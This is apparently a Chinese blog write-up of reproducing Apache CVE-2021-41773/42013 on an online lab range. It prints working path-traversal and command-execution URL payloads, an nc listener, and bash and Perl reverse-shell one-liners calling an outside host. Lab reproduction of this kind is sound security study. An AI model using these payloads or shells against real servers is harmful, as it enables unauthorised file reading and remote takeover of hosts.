apache-CVE-2021-41773[42013]-漏洞复现

apache-CVE-2021-41773[42013]

CVE-2021-41773 影响范围为2.4.49
CVE-2021-42013 影响范围为2.4.49/50

漏洞验证

41773和42013在10月份时,被暴出目录穿越和远程命令执行,虽然只影响了apache的49/50版本,但是RCE漏洞,POC已公开,还是有较强的杀伤力。为了快速验证一下该漏洞,使用vulfocus提供的在线的靶场,开启应用,如图
apache-CVE-2021-41773[42013]-漏洞复现_第1张图片

访问应用首页,可得到apche服务器版本信息,如图,
apache-CVE-2021-41773[42013]-漏洞复现_第2张图片

验证目录遍历

利用网上爆出得poc代码尝试获取/etc/passwd中得内容,poc如下,可轻松得到敏感内容

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

apache-CVE-2021-41773[42013]-漏洞复现_第3张图片

验证远程代码执行

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

开启burp,构造远程命令执行http请求包,如图执行ls命令
apache-CVE-2021-41773[42013]-漏洞复现_第4张图片

利用反弹shell得模式,准备在反弹一个webshell完全控制该主机,如图,在公网上准备一个机器A,开启监听端口,

nc -lvvp 9999 // 监听9999端口

apache-CVE-2021-41773[42013]-漏洞复现_第5张图片

利用bash反弹shell,

bash -i >& /dev/tcp/ip/port 0>&1
***/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用***
***由于其特殊性,命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了***
***注意,这里"&"在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里***

竟然没有反弹成功,难道是我命令写错了吗,一直没有收到反弹过来的请求,。。。。。。,这个地方疑惑了半天,确认命令没有写错,监听机器没有错,
准备换一种反弹shell,不用bash的方式,查看了靶机上没有ping、nc、curl、wget、python等工具,是个最小的docker环境,正常的反弹都用不了啊,一筹莫展时,发现靶机上安装了perl环境,有perl也可以反弹,如下:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

啊,竟然也没有成功,虽然已经得到了flag,但为什么不能反弹shell呢?在线靶场有时间限制,准备在本地搭建实验环境验证该漏洞,尝试反弹shell,看看时哪里出错了

你可能感兴趣的:(信息安全,安全,web安全,apache,目录遍历,远程命令执行)